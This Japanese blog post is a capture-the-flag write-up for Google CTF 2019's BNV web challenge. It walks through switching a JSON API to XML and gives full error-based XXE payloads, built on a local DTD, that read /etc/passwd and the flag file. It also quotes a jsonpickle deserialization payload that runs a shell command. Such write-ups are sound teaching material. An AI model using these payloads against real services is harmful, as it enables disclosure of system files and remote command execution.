はまやんはまやんはまやん

hamayanhamayan's blog

BNV [Google Capture The Flag 2019 (Quals)]

https://ctftime.org/task/8791

前提知識

  • XXE

問題

There is not much to see in this enterprise-ready™ web application.
https://bnv.web.ctfcompetition.com/

Writeups

解説

f:id:hamayanhamayan:20190720130904p:plain

上の文字は点字っぽい。
最も近い協会を探してくれるサイトみたい。
とりあえず、POSTリクエストの中身を見てみる。

f:id:hamayanhamayan:20190720132854p:plain

Zurichなら135601360123502401401250として送られている。
これはなんだろうか。
と思ったが、Chromeデベロッパーツールを使うと、jsを参照している。
https://bnv.web.ctfcompetition.com/static/post.js
これを見ると、テーブルが定義されていて、これを使って変換されているようだ。

kusanoさんのQiitaでは、ヘッダーからサーバサイドがpythonであることを見抜き、
{"py/object": "__main__.Shell", "py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": ["whoami"]}, null, null, null]}
という攻撃コードを紹介している。
これについては、ここここで紹介されているが、Jsonpickleの脆弱性を利用したOSコマンドインジェクションっぽい。
今回はこれは違う。

実はjsonで送っている部分をXMLで送っても行けるらしい。 まずは、正常系をcurlを使って試してみよう。 curl https://n.com/api/search -X POST -H 'Content-Type: application/json' -d @req.txt
req.txtには{"message":"135601360123502401401250"}が入っている。
これは普通にうまくいく。
これを
リクエスcurl https://n.com/api/search -X POST -H 'Content-Type: application/xml' -d @req.txt
req.txt <message>135601360123502401401250</message>
とすると、Validation failed: no DTD found !, line 1, column 9と怒られる。
先頭にDOCTYPEをつけて送信する。

<!DOCTYPE message [
    <!ELEMENT message (#PCDATA) >
]>
<message>135601360123502401401250</message>

ちゃんとデータが出てきた。
これで、XMLを受け入れる体制が整ったので、XXEを試す。

<?xml version="1.0"?>
<!DOCTYPE message [
  <!ELEMENT message (#PCDATA)>
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///hoge/&#x25;file;&#x26;#x27;>">
    &#x25;eval;
    &#x25;error;
  '>
  %local_dtd;
]>

よくわからないが、これでetc/passwdが得られる。

<?xml version="1.0"?>
<!DOCTYPE message [
  <!ELEMENT message (#PCDATA)>
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///flag">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///hoge/&#x25;file;&#x26;#x27;>">
    &#x25;eval;
    &#x25;error;
  '>
  %local_dtd;
]>

後は、ルート直下にflagファイルがあるだろうと推測をして、これを入れると、フラグが手に入る。